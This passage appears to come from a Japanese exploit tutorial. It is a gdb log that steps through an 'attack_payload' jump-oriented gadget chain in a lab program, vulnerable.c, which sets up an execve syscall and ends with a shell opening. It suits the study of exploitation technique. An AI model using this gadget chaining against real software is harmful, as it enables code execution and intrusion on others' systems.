=> 0x8048505 <attack_payload+42>: fdiv %st,%st(1)
(gdb)
0x08048507 28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>: mov %ah,-0x17bc0000(%ebx)
(gdb)
0x08048501 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>: stc
(gdb)
0x08048502 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048504 <attack_payload+41>: inc %ebx
(gdb)
0x08048505 28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048505 <attack_payload+42>: fdiv %st,%st(1)
(gdb)
0x08048507 28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>: mov %ah,-0x17bc0000(%ebx)
(gdb)
0x08048501 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>: stc
(gdb)
0x08048502 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
30 asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x8048509 <attack_payload+46>: popa
(gdb)
0x0804850a 30 asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850a <attack_payload+47>: cmc
(gdb)
0x0804850b 30 asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850b <attack_payload+48>: jmp *(%ecx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
32 asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850d <attack_payload+50>: xchg %eax,%ecx
(gdb)
0x0804850e 32 asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850e <attack_payload+51>: fdiv %st(3),%st
(gdb)
0x08048510 32 asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x8048510 <attack_payload+53>: jmp *-0xf(%esi)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
34 asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048513 <attack_payload+56>: mov 0xc(%esi),%eax
(gdb)
0x08048516 34 asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048516 <attack_payload+59>: mov %eax,(%esp)
(gdb)
0x08048519 34 asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048519 <attack_payload+62>: call *0x4(%esi)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
36 asm("int 0x80");
1: x/i $pc
=> 0x804851c <attack_payload+65>: int $0x80
システムコールの直前にレジスタを確認します。
(gdb) info registers
eax 0xb 11
ecx 0x8048689 134514313
edx 0x8048689 134514313
ebx 0x8048680 134514304
esp 0xffffd5cc 0xffffd5cc
ebp 0xffffd499 0xffffd499
esi 0xffffd5df -10785
edi 0xfffffffc -4
eip 0x804851c 0x804851c <attack_payload+65>
eflags 0x297 [ CF PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
実行を続けるとシェルが開きます。
(gdb) c
Continuing.
process 12191 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "overflow" not defined.
$ ps
PID TTY TIME CMD
11729 pts/1 00:00:00 bash
12186 pts/1 00:00:00 gdb
12191 pts/1 00:00:00 sh
12231 pts/1 00:00:00 ps
$